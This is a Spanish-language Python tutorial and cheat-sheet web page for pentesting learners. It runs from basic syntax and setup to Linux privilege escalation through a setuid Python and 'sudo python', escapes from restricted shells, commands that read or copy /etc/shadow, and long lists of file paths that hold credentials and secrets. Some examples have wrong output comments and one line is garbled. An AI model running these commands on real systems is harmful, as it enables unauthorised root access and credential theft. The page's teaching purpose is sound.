top of page
PYTHON
COMMANDS
Ⓜ️ ENLACES INTERNOS
🟩 THE BASICS 1
🖥️ PYTHON (REPL)
🌐 ENLACES EXTERNOS
🟩 THE BASICS 2
🟢 empty
🟢 empty
🟢 empty
🟢 empty
🐍 UTILIDADES PYTHON
📗 INTRO Y SETUP
🟩 THE BASICS 3
🟢 empty
🟢 empty
🟢 empty
🟢 empty
LEYENDA DE COLORES
▉ BLANCO Archivos / Encabezados / Palabras destacadas / Output de Python
▉ [PARÉNTESIS] [Parámetros a introducir en una línea de comandos]
▉ GRIS Introducciones / Aclaraciones / Texto explicativo
▉ VERDE Sintaxis / Comandos / Código genérico
▉ VERDE PÁLIDO Valor numérico en Python / Python REPL
▉ VERDE OSCURO # Comentarios en Python
▉ AZUL Rutas / Directorios / "Windows"
▉ AZUL CLARO Variables en Pyrhon / URLs / IPs
▉ ROSA Destacar parámetros en una línea de comandos / pares clave-valor {}
▉ MORADO Condicionales en Python
▉ ROJO Comandos de privilegios / stderr / Atención / Root
▉ NARANJA Valor de texto en Python / Usuarios / Grupos / Contraseñas / "Linux"
▉ AMARILLO Palabras clave / Funciones integradas / print() len() input()
⚠️AVISO: Copiar y pegar los códigos de la web no funcionará en la mayoría de compiladores porque los textos de aquí en la
web salen copiados con formato oculto. Se recomienda escribir directamente en el compilador o terminal.
compiler
🐍 COMPILADOR PYTHON ONLINE (REPL - Read-Eval-Print-Loop)
Prueba aquí tu código en Python o puedes ir a la web del prestador del servicio:
https://www.online-python.com/online_python_compiler
Instrucciones:
En la caja superior (pestaña main.py) se introducen las líneas de comandos en Python, y con el botón "Run" se ejecutan, devolviendo en la caja inferior el output resultante.
que es python
🐍 ¿QUÉ ES PYTHON?
Python es un lenguaje de programación interpretado de alto nivel, con una sintaxis sencilla y muy legible, lo que lo convierte en una opción popular tanto para principiantes como para desarrolladores experimentados. Fue creado por Guido van Rossum y lanzado en 1991.
CARACTERÍSTICAS PRINCIPALES:
- Sintaxis sencilla y clara: Python está diseñado para ser fácil de leer y escribir, con una sintaxis que permite escribir código de forma concisa y legible.
- Multiparadigma: Python soporta múltiples paradigmas de programación, incluyendo la programación orientada a objetos, la programación funcional y la programación imperativa.
- Bibliotecas extensas: Python cuenta con una enorme colección de bibliotecas estándar y paquetes adicionales para tareas como manipulación de datos, desarrollo web, automatización, ciberseguridad, inteligencia artificial, entre otros.
- Portabilidad: Python es multiplataforma, lo que significa que los programas escritos en Python pueden ejecutarse en diferentes sistemas operativos como Linux, Windows y macOS sin cambios significativos en el código.
- Interactividad: Python permite ejecutar comandos de manera interactiva en su consola, lo cual es útil para realizar pruebas rápidas y aprender el lenguaje.
- Lenguaje Interpretado: Python es interpretado, lo que significa que el código se ejecuta línea por línea sin necesidad de compilarlo previamente, facilitando el desarrollo y depuración.
- Ampliamente utilizado en la ciberseguridad: En el ámbito del pentesting, Python es muy popular debido a su facilidad para crear scripts y automatizar tareas. Se utiliza en herramientas de explotación, escaneo y análisis de vulnerabilidades, como parte de frameworks de pruebas de penetración.
EJEMPLOS DE USO EN PENTESTING:
- Automatización de ataques: Python se utiliza para escribir scripts que pueden automatizar ataques de fuerza bruta, escaneo de puertos y explotación de vulnerabilidades.
- Desarrollo de herramientas personalizadas: Los pentesters pueden crear sus propias herramientas para realizar tareas específicas, como explotación de vulnerabilidades o análisis de tráfico de red.
- Scripting en Metasploit: Python se integra bien con Metasploit, lo que permite a los pentesters escribir módulos personalizados.
🔵 DESDE CONSOLA DE WINDOWS (REPL)
INSTALAR PYTHON EN WINDOWS PARA USAR DESDE CONSOLA POWERSHELL:
Buscar e instalar desde la "Microsoft Store" la última versión de la extensión de Python para Windows (la última conocida a julio de 2025 es la versión 3.13).
Con una versión de Python instalada, es necesario definir una variable de script o sesión que tire de Python cada vez que abramos una nueva CONSOLA DE POWERSHELL (se puede dejar definido de forma permanente pero es más sencillo y seguro hacerlo así):
$python = "python"
Definida la variable anterior, se pueden ejecutar comandos en Python bajo la siguiente SINTAXIS:
[llamar_variable_en_powershell] + "[línea_de_comandos]"
EJEMPLO CON PRINT:
& $python -c "print('hola mundo')"
hola mundo
NOTA: PowerShell nos obliga a escribir siempre delante de la línea de comandos Python:
& $python -c
📝 DESDE CONSOLA DE WINDOWS EJECUTANDO UN ARCHIVO .PY
Escribimos el código en "Bloc de notas" y lo guardamos con la extensión .py
Para el ejemplo, escribimos la línea:
>>> print("Hola Mundo")
Para ejecutarlo desde una consola de Powershell, debemos situarnos en el directorio en el que se encuentre el archivo (en este caso en el Escritorio) y lo ejecutamos con la siguiente línea de código:
python prueba.py
Hola Mundo
from_win
#️⃣ DESDE VISUAL STUDIO CODE (WINDOWS)
Paso previo:
Explicado en el punto ANTERIOR, es necesario instalar desde la "Microsoft Store" la última versión de la extensión de Python para Windows (la última conocida a julio de 2025 es la versión 3.13).
Instalamos la última versión de Visual Studio Code desde su página web:
https://code.visualstudio.com
Una vez ejecutado, buscamos entre las extensiones disponibles la de Python de Microsoft y la instalamos:
Ya podemos crear un archivo nuevo desde "File", "New file...", y seleccionamos "Python file":
A continuación una captura de pantalla con los elementos básico para usar Visual Studio Code con Python.
1. Es necesario guardar con nombre el archivo .py creado.
2. En la caja superior escribimos las líneas de código.
3. El boton de "play" de la esquina superior derecha ejecuta el código. Si detecta algún error de sintaxis nos resaltarán el código con
una línea quebrada roja, o bien señalando el número de línea afectado, en el output resultante en la caja inferior (en verde).
4. Para refrescar la caja de salida (output) es recomendable borrar el contenido desd eel botón de la papelera (en naranja)
from_VSC
from_linux
🟠 DESDE TERMINAL LINUX
Comprobar versión actual de Python en el sistema:
python --version
Comprobar versión actual de Pip (gestor de paquetes Python) en el sistema:
pip3 --version
Localizar binario "python" en el sistema:
which python
/usr/bin/python
INSTALAR / ACTUALIZAR PYTHON:
sudo apt-get update
sudo apt-get install python3
INSTALAR / ACTUALIZAR PYTHON Y PIP:
sudo apt install python3-pip -y
INICIAR ENTORNO Python desde la terminal (por defecto se ejecuta la última versión de Python en el sistema):
python o python3 (depende de la configuración de Linux)
Python 3.11.8 (main, Feb 7 2024, 21:52:08) [GCC 13.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
INICIAR ENTORNO Python de versión específica de Python desde la terminal (en el caso del ejemplo, Python 2):
python2
Python 2.7.18 (default, Aug 1 2022, 06:23:55)
[GCC 12.1.0] on linux2
Type "help", "copyright", "credits" or "license" for more information.
EJEMPLO DE EJECUCIÓN DE LÍNEA DE COMANDOS CON PRINT:
>>> print ('Hola Mundo')
Hola Mundo
SALIR DEL ENTORNO Python con [ctrl] + [d] o introduciendo en la terminal:
>>> exit()
📝 DESDE TERMINAL DE LINUX EJECUTANDO UN ARCHIVO .PY
Desde terminal abrimos un editor de texto como Mousepad con la línea:
mousepad &
En el editor de texto escribimos las líneas de comando en python y guardamos el archivo con la extensión .py:
print("Hola Mundo")
🐍 EJECUTAR ARCHIVO CON PYTHON:
Desde una terminal ubicada en el directorio del archivo ejecutamos la línea:
python prueba.py
Hola Mundo
🐚 EJECUTAR ARCHIVO COMO SCRIPT DE SHELL
Hay que modificar el archivo prueba.py para que quede de la siguiente manera:
#!/usr/bin/env python3
print("Hola Mundo")
Otorgar por terminal plenos permisos para ejecutar el archivo .py:
chmod 777 prueba.py
Ejecutar el archivo .py con la línea:
./prueba.py
Hola Mundo
comment
print
🟢 PRINT (IMPRIMIR MENSAJE)
Imprimir un mensaje de texto por la terminal. BÁSICO:
print("Esto es una prueba")
> Esto es una prueba
Imprimir un mensaje de texto por la terminal. CON VARIABLES, CON COMAS de separación:
nombre = "Mike"
apellido = "Delta"
print("Bienvenido al sistema",nombre, apellido)
> Bienvenido al sistema Mike Delta
Imprimir un mensaje de texto por la terminal. CON VARIABLES, SIN COMAS de separación:
nombre = "Mike"
apellido = "Delta"
nom_completo = nombre + " " + apellido # entre comillas se suma un "espacio" para que no imprima ambas palabras pegadas
print(f"Bienvenido al sistema {nom_completo}")
> Bienvenido al sistema Mike Delta
variables
🟢 VARIABLES
Para declarar una VARIABLE válida:
- no puede empezar por mayúsucula
- no puede contener ñ/Ñ
- no puede contener espacios ni caracteres especiales
- no pueden usarse palabras reservadas por el sistema
Declarar VARIABLE de texto (ejemplo):
nombre = "Mike"
Declarar VARIABLE numérica (ejemplo):
edad = 36
Ejemplo práctico:
año = 2025
print("Estamos en el año", año)
> Estamos en el año 2025
operadores
🟢 OPERADORES BÁSICOS
Variables para uso del ejemplo:
a = 5
b = 10
OPERADORES:
suma = a + b
print("La suma es: ", suma)
# daría como resultado: 10
resta = b - a
print("La resta es: ", resta)
# daría como resultado: 5
multiplicacion = a * b
print("La multiplicacion es: ", multiplicacion)
# daría como resultado: 50
potencia = a**2
print("La potencia es: ", potencia)
# daría como resultado: 25
division = b / a
print("La division es: ", division)
# daría como resultado: 2
division_entera = b // a
print("La division entera es: ", division_entera)
# daría como resultado: 2
division_resto = a % b
print("La division con resto es: ", division_resto)
# daría como resultado: 0,5
🟢 INPUTS
Un input es un valor introducido por teclado a través de la terminal. Sabemos que tenemos que introducir un input cuando parpadea el cursor de la terminal.
Ejemplo práctico:
año = input("¿En qué año naciste?: ")
print("Naciste en", año)
> Naciste en [año_introducido]
Otra forma de hacer lo mismo:
print("¿En qué año nacisten")
año = input()
print("Naciste en", año)
> Naciste en [año_introducido]
Otra variación con int (se usa INT cuando se espera un número ENTERO, es decir, sin decimales:
año = int(input("¿En qué año naciste?: "))
print("Naciste en", año)
> Naciste en [año_introducido]
input
float
op_condition
🟢 OPERADORES LÓGICOS (TRUE-FALSE)
Para obtener un TRUE, debemos definir un operador lógico cuyo resultado sea VERDADERO:
print(3>2) # que 3 es MAYOR que 2, es un afirmación verdadera
> True
Para obtener un FALSE, debemos definir un operador lógico cuyo resultado sea FALSO:
print(3<2) # que 3 es MENOR que 2, es un afirmación verdadera
> False
op_true-false
🟢 CONTROL DE FLUJO (CONDICIONES - IF)
Ejemplo práctico de control de flujo. El usuario debe contestar con "S/s" para sí y "N/n" para no:
respuesta = input("¿Tienes 18 años o más? (S/N): ")
if respuesta == "S" or espuesta == "s" :
print("Eres mayor de edad")
elif respuesta == "N" or espuesta == "n":
print("No eres mayor de edad")
elif respuesta == " ":
print("No ingresaste valor, contesta con S/N")
else:
print("Valor no válido, contesta con S/N")
> [según_valor_introducido]
Otro ejemplo práctico de control de flujo. El programa debe saber si un número es múltiplo de 3, de 5, o de ambos:
numero = int(input("Escribe un número cualquiera: "))
if numero %3==0 and numero %5==0 :
print("Es múltiplo de 3 y de 5")
elif numero %3==0:
print("Solo es múltiplo de 3")
elif numero %5==0:
print("Solo es múltiplo de 5")
else:
print("No es múltiplo ni de 3 ni de 5")
> [según_valor_introducido]
Otro ejemplo práctico de control de flujo. El programa pretende pasar las notas de número a texto (usamos FLOAT si se espera un número con decimales, por ejemplo 5.5):
nota = float(input("Introduce la nota: "))
if (nota == 10):
print("[10] SOBRESALIENTE")
elif (nota < 10 and nota >= 8):
print("[8-9] NOTABLE")
elif (nota >= 5 and nota <= 7):
print("[5-7] APROBADO")
elif (nota < 5):
print("[0-4] SUSPENSO")
else:
print("Introduce una nota válida")
> [según_valor_introducido]
condiciones-if
bucles-while
🟢 CONTROL DE FLUJO (BUCLES - WHILE)
Ejemplo de control de flujo en bucle. Se repiten las líneas de comandos hasta que se cumple la condición establecida:
numero_secreto = 7
adivinado = False
while not adivinado:
intento = int(input("Adivina el numero secreto del 0 al 9: "))
if intento == numero_secreto:
print("[✔] ¡Número adivinado!")
adivinado = True # si ponemos False, aunque adivinemos el numero, continua el bucle
else:
print("[X] Inténtalo de nuevo")
> [según_valor_introducido]
Otro ejemplo práctico de control de flujo en bucle. El programa debe saber si un número es múltiplo de 3, de 5, y finalizar el bucle solo cuando lo sea de ambos (ojo a las tabulaciones, si no son correctas no funcionará):
salir = True
while salir:
numero = int(input("Escribe un número cualquiera: "))
if numero %3==0 and numero %5==0 :
print("Es múltiplo de 3 y de 5")
salir = False
elif numero %3==0:
print("Solo es múltiplo de 3")
elif numero %5==0:
print("Solo es múltiplo de 5")
else:
print("No es múltiplo ni de 3 ni de 5")
> [según_valor_introducido]
bucles-for
🟢 CONTROL DE FLUJO (BUCLES - FOR)
Crear un CONTADOR REGRESIVO de NÚMEROS con FOR:
contador = int(input("¿Desde qué número quieres contar hacia atrás?: "))
for i in range (contador,-1,-1): # entre paréntesis va el valor dado (contador) que sería el INICIO, luego el FINAL y luego el PASO (-1)
print(i)
> [según_valor_introducido]
Crear un CONTADOR REGRESIVO de SEGUNDOS con FOR:
import time
segundos = int(input("¿Desde cuántos segundos quieres contar hacia atrás?: "))
for i in range (segundos,-1,-1):
print(f"{i} segundos")
time.sleep(1)
print("¡Fin de la cuenta atrás!")
> [según_valor_introducido]
Crear un CONTADOR REGRESIVO de MINUTOS con FOR (complejo):
import time
import sys
minutos = int(input("¿Desde cuántos minutos quieres contar hacia atrás?: "))
total_segundos = minutos * 60
for i in range (total_segundos,-1,-1):
minutos_restantes = i // 60
segundos_restantes = i % 60
print(f"\r{minutos_restantes:02d}:{segundos_restantes:02d}", end="")
sys.stdout.flush()
time.sleep(1)
print("\r¡Tiempo terminado!")
> [según_valor_introducido]
Crear un CONTADOR PROGRESIVO con FOR que nos de la tabla de multiplicar de un número:
numero = int(input("¿De qué número quieres generar su tabla de multiplicar?: "))
for i in range (1,11):
print(f" {numero} x {i} = {numero*i}")
> [según_valor_introducido]
🧮 CALCULADORA SIMPLE
Calculadora simple con suma, resta, multiplicación y división:
print("[%] CALCULADORA SIMPLE:")
print(" ")
num1 = float(input("Introduce el primer número: "))
num2 = float(input("Introduce el segundo número: "))
op = input("¿Qué quieres hacer? (+ - x /): ")
if op == "+":
resultado = num1 + num2
print(" ")
print(f"\r [>] Resultado: {num1} {op} {num2} = {resultado}")
print(" ")
elif op == "-":
resultado = num1 - num2
print(" ")
print(f"\r [>] Resultado: {num1} {op} {num2} = {resultado}")
print(" ")
elif op == "x":
resultado = num1 * num2
print(" ")
print(f"\r [>] Resultado: {num1} x {num2} = {resultado}")
print(" ")
elif op == "/":
if num2 != 0:
resultado = num1 / num2
print(" ")
print(f"\r [>] Resultado: {num1} {op} {num2} = {resultado}")
print(" ")
else:
print(" ")
print("[X] Error: No se puede dividir por cero")
print(" ")
else:
print(" ")
print("[X] Error: Operador no válido. Usa +, -, * o /")
print(" ")
> [según_los_valores_introducidos]
calc
🖥️ PYTHON (REPL) - FUNDAMENTOS BÁSICOS
1º. Iniciar Python en terminal:
python o python3
Realizar cálculos matemáticos:
>>> 3 + 3
6
>>> 3 - 3
0
>>> 3 * 3
9
>>> 3 / 3
1
>>> 3 ** 3
27
>>> 2 * 4 + 3
11
>>> 2 * (4 + 3)
14
>>> 4 / 0
ZeroDivisionError: division by zero
Imprimir mensaje:
>>> print("Hola mundo")
Hola mundo
REPL_fundamentos
📁 PYTHON (REPL) - SISTEMA DE ARCHIVOS
1º. Iniciar Python en terminal:
python o python3
2º. Importar el módulo "os":
>>> import os
Listar directorios (ls):
>>> os.listdir()
Cambiar de directorio (cd):
>>> os.chdir('carpeta')
>>> os.chdir('/ruta')
Cambiar a la raíz del sistema (root):
>>> os.chdir('/')
Retroceder directorio:
>>> os.chdir('..')
Comprobar ubicación actual (pwd):
>>> os.getcwd()
[ruta]
REPL_sist_archivos
repl_usuarios-procesos
🔌 PYTHON (REPL) - NETWORKING BÁSICO
1º. Iniciar Python en terminal:
python o python3
2º. Importar el módulo "socket":
>>> import socket
Obtener hostname:
>>> socket.gethostname()
'kali'
Obtener dirección IP propia:
>>> socket.gethostbyname(socket.gethostname())
'127.0.1.1'
Obtener dirección IP por nombre (nslookup):
>>> socket.gethostbyname('google.com')
'142.250.200.110'
O:
>>> s)
'1'
repl_networking
♈ CREAR ENTORNO VIRTUAL (LINUX)
Primero nos situamos con una terminal en la ruta de usuario /home/usuario.
Creamos un entorno virtual (en /home/usuario/virtual_env) para aislar las dependencias y evitar conflictos con el Python global de Kali:
mkdir ~/virtual_env
cd ~/virtual_env
python3 -m venv venv
source venv/bin/activate
Actualizar PIP:
pip install --upgrade pip
Instalamos dependencias en el entorno virtual (lista de dependencias recomendadas de VERSIONES ESTABLES 2025):
pip install six==1.16.0 # Compatibilidad Python 2/3
pip install impacket==0.12.0 # Protocolos de red (SMB, Kerberos, etc.)
pip install requests==2.32.3 # Peticiones HTTP (usado en muchas herramientas)
pip install paramiko==3.4.0 # Conexiones SSH
pip install cryptography==43.0.1 # Cifrado y autenticación
pip install pyOpenSSL==24.2.1 # Soporte SSL/TLS
pip install scapy==2.5.0 # Análisis y manipulación de paquetes de red
pip install nmap==3.8.8 # Escaneo de red (python-nmap)
pip install smbmap==1.10.7 # Enumeración SMB
pip install pysmb==1.2.8 # Cliente SMB
pip install dnspython==2.6.1 # Consultas DNS
pip install pyasn1==0.5.1 # Codificación/decodificación ASN.1 (Kerberos, LDAP)
pip install beautifulsoup4==4.12.3 # Parsing HTML/XML (web scraping)
pip install lxml==5.3.0 # Procesamiento XML/HTML
pip install pwn==2.4.0 # Herramientas de explotación (pwntools)
pip install pycryptodome==3.20.0 # Criptografía avanzada
pip install websocket-client==1.8.0 # Soporte para WebSockets
Instalar TODO lo anterior con un ONE LINER:
pip install six==1.16.0 impacket==0.12.0 requests==2.32.3 paramiko==3.4.0 cryptography==43.0.1 pyOpenSSL==24.2.1 scapy==2.5.0 nmap==3.8.8 smbmap==1.10.7 pysmb==1.2.8 dnspython==2.6.1 beautifulsoup4==4.12.3 lxml==5.3.0 pwn==2.4.0 pycryptodome==3.20.0 websocket-client==1.8.0
Nota: Para instalar la última versión, omitir el ==[num_version]
Salir al entorno global de Python:
deactivate
entorno_virtual
servidor local http
🖥️ MONTAR SERVIDOR HTTP
Iniciar servidor HTTP abierto a la red local para pruebas o compartir archivos. Expone TODO el contenido (incluidos archivos ocultos) del directorio desde el que opera la terminal actual. Si no se especifica puerto, por defecto operará por el puerto 8000. En este caso se le precisa operar por el puerto 80 (todo como root). La orden "python -m" ejecuta el módulo a continuación como un script.
Desde terminal Linux o Windows. El módulo en este caso sería "http.server":
sudo python3 -m http.server 80
Para acceder al servidor desde el navegador, introducir la IP con el puerto dado:
http://127.0.0.1:80
Para acceder al servidor desde el navegador, introducir la IP Privada del host, sacada mediante:
hostname -I
Para detener el servidor:
[ctrl] + [c]
👑 ESCALAR PRIVILEGIOS EN LINUX
NOTA: Para que poder escalar privilegios así, es necesario que Python tenga permisos SUID en el sistema.
Comprobar donde se localiza Python en el sistema:
which python3
/usr/bin/python3
Otorgar plenos permisos (pueden ser necesarios privilegios de root con sudo):
sudo chmod 777 /usr/bin/python3
Comprobar:
ls -l /usr/bin/python3
lrwxrwxrwx 1 root root 10 Dec 3 2023 /usr/bin/python3 -> python3.11
↩️ Reestablecer permisos seguros:
sudo chmod u-s /usr/bin/python3
sudo chmod g-s /usr/bin/python3
sudo chmod 755 /usr/bin/python3
---------------------------------------------------------------------------------------------------------------------------------------------------------------------
Ejecutar Python en terminal Linux:
python o python3
Importar librería OS:
>>> import os
Ver usuario actual:
>>> os.system("whoami")
usuario
0
Cambiar identificador de usuario para operar como root:
>>> os.setuid(0)
Volver a ver usuario actual:
>>> os.system("whoami")
root
0
Lanzar una Bash Shell desde Python, con privilegios de root:
>>> os.system("bash")
escalar privilegios linux
🐚 ABRIR UNA SHELL SIN RESTRICCIONES DESDE PYTHON
Si nos encontramos en el supuesto de tener acceso a una shell restringida en un equipo (no permite navegar por el sistema de archivos ni ejecutar programas) pero SÍ permite ejecutar Python, con las siguientes líneas podemos ejecutar una NUEVA SHELL SIN RESTRICCIONES.
Con "python" llamamos a Python desde la línea de comandos.
Después, "-c" significa “execute command”, o sea, ejecuta el código Python que le paso como string.
Y finalmente 'import os; os.system("/bin/sh")' es el código Python que ejecuta el comando del sistema "/bin/sh".
python -c 'import os; os.system("/bin/sh")'
Versión mejorada de la línea anterior, abre una "bash shell" en lugar de una "sh shell", en este caso con función de autocompletado, soporte para [ctrl] + [c] y representación con colores:
python -c 'import pty; pty.spawn("/bin/bash")'
NOTA: No es una “escalada de privilegios”, no te convierte en root. Solo mejora o expande lo que ya tienes.
PARA ESCALAR PRIVILEGIOS:
Comprobar BINARIOS DEL SISTEMA ejecutables como root, y ver si Python se encuentra entre ellos:
sudo -l
Si por una mal configuración, Python se encuentra entre aquellos binarios del sistema ejecutables como root sin pedir contraseña, la nueva shell se ejecutará con permisos de "superusuario":
sudo python -c 'import os; os.system("/bin/sh")'
unrestricted-shell
🔎 LEER ARCHIVOS RESTRINGIDOS CON PYTHON
En un sistema mal securizado, podemos leer archivos sensibles como /etc/passwd, si el proceso Python tiene acceso a ellos.
Con "python" o "python3" llamamos a Python desde la línea de comandos.
Después, "-c" significa “execute command”, o sea, ejecuta el código Python que le pasamos como string.
Y finalmente 'print(open(archivo).read())' es el código Python que llama a leer el archivo deseado poniendo su ruta.
python -c 'print(open(ruta).read())'
Leer línea a línea (archivos grandes):
python -c 'f=open("/etc/passwd"); [print(line.strip()) for line in f]; f.close()'
Leer binarios (archivos rb, no de texto):
python -c 'print(open("/bin/ls","rb").read())'
Si el entorno bloquea salida a stdout, se puede copiar:
python -c 'data=open("/etc/shadow").read(); open("/tmp/shadow_copy","w").write(data)'
Rutas de archivos sensibles de interés en Linux (👤USUARIO):
/home/usuario/.bash_history (historial de comandos bash → puede revelar contraseñas)
/home/usuario/.ssh/id_rsa (clave privada SSH → acceso a otros sistemas)
/home/usuario/.ssh/authorized_keys (claves públicas autorizadas → pivoting)
/home/usuario/.ssh/known_hosts (lista de hosts SSH conocidos → para moverte lateralmente)
/home/usuario/.bashrc (alias y funciones personalizadas → posibles credenciales)
/home/usuario/.profile (variables de entorno cargadas al login)
/home/usuario/.git-credentials (credenciales HTTP de Git → a veces usuario:pass en texto)
/home/usuario/.gnupg (claves GPG privadas → cifrado y firmas)
/home/usuario/.netrc (credenciales para FTP, HTTP → hosts, usuarios y contraseñas)
/home/usuario/.my.cnf (configuración MySQL → usuario y contraseña para conexiones)
/home/usuario/.pgpass (contraseñas PostgreSQL → formato host:port:db:user:pass)
/home/usuario/.npmrc (tokens NPM → acceso a registries privados)
/home/usuario/.pypirc (credenciales PyPI → usuario y contraseña para uploads)
/home/usuario/.gem/credentials (credenciales RubyGems → API keys para gems)
/home/usuario/.subversion/auth/ (credenciales Subversion → usuarios y contraseñas cached)
/home/usuario/.mysql_history (historial de comandos MySQL → queries con creds)
/home/usuario/.psql_history (historial de comandos PostgreSQL → similar a MySQL)
Rutas de archivos sensibles de interés en Linux (📂ARCHIVOS DEL SISTEMA):
/etc/passwd (lista de usuarios del sistema. no contiene contraseñas)
/etc/shadow (hashes de contraseñas → solo accesible como root)
/etc/group (grupos del sistema → ver si el usuario está en sudo)
/etc/hostname (nombre del host)
/etc/hosts (mapeo IP ↔ nombre → puede revelar entornos internos)
/etc/resolv.conf (servidores DNS configurados)
/etc/sudoers (configuración de sudo → privilegios de usuarios)
/etc/fstab (montajes de filesystems → posibles creds en opciones de mount como NFS/SMB)
/etc/crontab (cron jobs del sistema → scripts con comandos sensibles o creds)
/etc/aliases (aliases de email → redirecciones y usuarios)
/etc/os-release (detalles del SO → versión y distribución para exploits)
/etc/lsb-release (información de distribución → similar a os-release)
/etc/issue (mensaje de identificación del sistema → banners pre-login)
/etc/motd (Message Of The Day → info personalizada post-login)
Rutas de archivos sensibles de interés en Linux (⚙️CONFIGURACIÓN DE SERVICIOS):
/etc/ssh/sshd_config (configuración SSH → puede revelar usuarios PermitRootLogin)
/etc/apache2/apache2.conf (configuración Apache)
/etc/nginx/nginx.conf (configuración Nginx → posibles rutas ocultas)
/etc/mysql/my.cnf (configuración MySQL → a veces incluye usuario y contraseña)
/etc/postgresql/pg_hba.conf (autenticación PostgreSQL → métodos de auth y usuarios)
/etc/redis/redis.conf (configuración Redis → requirepass para contraseña)
/etc/mongod.conf (configuración MongoDB → auth, usuarios y roles)
/etc/php/php.ini (configuración PHP → expose_php, allow_url_fopen con riesgos)
/etc/dovecot/dovecot.conf (configuración email IMAP/POP → auth mechanisms con creds)
/etc/postfix/main.cf (configuración SMTP → relayhost con posibles creds)
/etc/samba/smb.conf (configuración Samba → shares con usuarios y contraseñas)
/etc/ldap/ldap.conf (configuración LDAP → binddn y bindpw para auth)
/var/www/html/config.php (configuración de webs PHP → claves DB, API keys)
/var/www/html/.env (variables de entorno web → claves API, DB, JWT)
Rutas de archivos sensibles de interés en Linux (💾ARCHIVOS DE LOGS):
/var/log/auth.log (logins exitosos y fallidos → bruteforce detectado)
/var/log/secure (iIgual que auth.log (en RedHat)
/var/log/apache2/access.log (peticiones web → puede revelar parámetros y ataques)
/var/log/apache2/error.log (errores web → paths internos, errores SQL)
/var/log/mysql/error.log (errores de MySQL → usuarios y contraseñas a veces)
/var/log/syslog (logs generales del sistema → eventos variados)
/var/log/messages (mensajes del sistema → similar a syslog en algunas distros)
/var/log/kern.log (logs del kernel → hardware y drivers sensibles)
/var/log/dmesg (mensajes de boot → dispositivos y configs iniciales)
/var/log/nginx/access.log (peticiones Nginx → similar a Apache access)
/var/log/nginx/error.log (errores Nginx → leaks de info interna)
/var/log/postgresql/postgresql.log (logs PostgreSQL → queries y errores con creds)
/var/log/redis/redis.log (logs Redis → conexiones y comandos sensibles)
/var/log/cron (logs de cron jobs → ejecuciones fallidas con detalles)
/var/log/audit/audit.log (logs de auditoría → eventos de seguridad detallados)
Rutas de archivos sensibles de interés en Linux (🌐CREDENCIALES Y API KEYS):
/var/www/html/.env (variables de entorno → API keys, DB credentials)
/var/www/html/wp-config.php (configuración WordPress → DB usuario y contraseña)
/var/www/html/config.php (configuración genérica → a veces claves duras)
/var/www/html/.htpasswd (archivos de contraseñas HTTP Basic Auth)
/var/www/html/.git/config (URLs de repositorios → puede contener tokens)
/etc/environment (variables de entorno system-wide → posibles secrets)
/etc/jenkins/jenkins.model.JenkinsLocationConfiguration.xml (config Jenkins → URLs y creds)
/var/www/html/laravel/.env (env Laravel → app keys, DB creds)
/var/www/html/drupal/sites/default/settings.php (config Drupal → DB y site keys)
/home/usuario/.env (env user-specific → creds locales)
/home/usuario/.composer/auth.json (credenciales Composer → tokens GitHub/Packagist)
/home/usuario/.maven/settings.xml (config Maven → server creds para repos)
Rutas de archivos sensibles de interés en Linux (🗝️CLAVES Y TOKENS):
/root/.ssh/id_rsa (clave privada SSH root)
/etc/ssl/private/ (claves privadas SSL)
/home/usuario/.aws/credentials (credenciales AWS → acceso cloud)
/home/usuario/.docker/config.json (tokens Docker → acceso a registries privados)
/home/usuario/.ssh/id_rsa (aquí se encontraría la Clave Privada de OpenSSH)
/home/usuario/.kube/config (config Kubernetes → tokens y certs para clusters)
/home/usuario/.config/gcloud/credentials.db (credenciales Google Cloud → access tokens)
/home/usuario/.azure/config.json (config Azure → subscription IDs y keys)
/home/usuario/.config/digitalocean/config.json (tokens DigitalOcean → API access)
/home/usuario/.terraformrc (config Terraform → provider creds)
/home/usuario/.config/heroku/credentials (credenciales Heroku → API keys)
/home/usuario/.vault-token (tokens Vault → secrets management)
/etc/letsencrypt/live (claves y certs Let's Encrypt → dominios)
Rutas de archivos sensibles de interés en Linux (OTROS):
/proc/self/environ (variables de entorno del proceso actual)
/proc/net/tcp (conexiones TCP activas → puede revelar servicios internos)
/proc/cmdline (parámetros del kernel al arrancar → posibles creds)
/proc/sched_debug (información detallada de procesos → a veces sensible)
/proc/self/cmdline (command line del proceso actual → args con datos)
/proc/mounts (filesystems montados → tipos y opciones con creds)
/sys/class/net/ (interfaces de red → MAC, IPs, configs)
/var/spool/cron/crontabs/ (crontabs de usuarios → jobs con scripts y creds)
/etc/cron.d/ (directorios cron → jobs programados con info)
/etc/init.d/ (scripts de init → comandos de startup con creds)
/proc/cpuinfo (detalles de CPU → para fingerprinting hardware)
/proc/meminfo (info de memoria → uso y límites)
/etc/security/limits.conf (límites de recursos → configs de usuarios)
read_restricted
scrip-info_sistema
#️⃣ SCRIPT - INFO DEL SISTEMA
Contenido del archivo explicado con comentarios:
# Primero se escribe el "Shebang" que indica a Linux que a partir de aquí, el código se ejecuta con Python3
#!/usr/bin/env python3
# Importar módulos y librerías. "os" es para "hablar" con el sistema operativo, y "platform" para analizar sistema operativo y versión
import os
import platform
# Introducir una línea de espacio para visualizar mejor el output
print(" ")
# "os.getlogin()" obtiene el nombre de usuario en Linux
# "f" dentro de "print" permite meter variables dentro de texto
usuario = os.getlogin()
print(f"👤 Usuario actual: {usuario}")
# "platform.node()" devuelve lenombre del equipo (como "hostname" en Bash)
hostname = platform.node()
print(f"💻 Nombre del equipo: {hostname}")
# "platform.system()" devuelve el tipo de sistema operativo
# "platform.release()" devuelve la versión del sistema operativo
so = platform.system()
version = platform.release()
print(f"🖥️ Sistema operativo: {so} {version}")
# "platform.architecture()[0]" devuelve la tupla
arquitectura = platform.architecture()[0]
print(f"📐 Arquitectura: {arquitectura}")
💾 GUARDAR CAMBIOS
Otorgar los permisos necesarios al archivo "info_sistema.py" para poder ejecutarlo:
chmod +x info_sistema.py
Ejecutarlo:
./info_sistema.py
Output:
👤 Usuario actual: [usuario]
💻 Nombre del equipo: kali
🖥 Sistema operativo: Linux 6.6.9-amd64
📐 Arquitectura: 64bit
bottom of page